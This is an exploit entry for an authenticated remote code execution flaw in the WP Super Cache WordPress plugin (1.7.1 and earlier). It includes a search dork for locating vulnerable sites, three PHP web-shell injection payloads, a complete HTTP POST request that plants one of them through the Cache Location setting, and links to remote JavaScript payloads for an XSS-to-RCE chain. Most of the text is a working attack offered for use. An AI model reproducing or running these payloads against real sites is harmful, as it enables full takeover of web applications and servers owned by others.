WordPress Plugin WP Super Cache 1.7.1 - Remote Code Execution (Authenticated)

# Exploit Title: WordPress Plugin WP Super Cache 1.7.1 - Remote Code Execution (Authenticated)
# Google Dork: inurl:/wp-content/plugins/wp-super-cache/
# Date: 2021-03-13
# Exploit Author: m0ze
# Version: <= 1.7.1
# Software Link: https://wordpress.org/plugins/wp-super-cache/


### -- [ Info: ]

[i] An Authenticated RCE vulnerability was discovered in the WP Super Cache plugin through 1.7.1 for WordPress.

[i] RCE due to input validation failure and weak $cache_path check in the WP Super Cache Settings -> Cache Location option. Direct access to the wp-cache-config.php file is not prohibited, so this vulnerability can be exploited for a web shell injection.

[i] Another possible attack vector: from XSS to RCE.

### -- [ Impact: ]

[~] Full compromise of the vulnerable web application and also web server.

### -- [ Payloads: ]

[$] ';system($_GET[13]);include_once \'wp-cache-config.php\';'

[$] ';`$_GET[13]`;include_once \'wp-cache-config.php\';?><!--

[$] ';`$_GET[13]`;#


### -- [ PoC #1 | Authenticated RCE | Cache Location: ]

[!] POST /wp-admin/options-general.php?page=wpsupercache&tab=settings
HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 501
Cookie: [cookies]

_wpnonce=88a432b100&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwpsupercache%26tab%3Dsettings&action=scupdates&wp_cache_enabled=1&wp_cache_mod_rewrite=0&wp_cache_not_logged_in=2&cache_rebuild_files=1&wp_cache_location=%2Fvar%2Fwww%2Fyour%2Fown%2Fpath%2Fexample.com%2Fwp-content%2Fcache%2F%27%3Bsystem%28%24_GET%5B13%5D%29%3Binclude_once+%5C%27wp-cache-config.php%5C%27%3B%27&_wpnonce=88a432b100&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwpsupercache%26tab%3Dsettings



### -- [ PoC #2 | From XSS to RCE | Cache Location: ]

[!] https://m0ze.ru/payload/wp-super-cache-rce.js

[!] https://m0ze.ru/payload/wp-super-cache-rce-j.js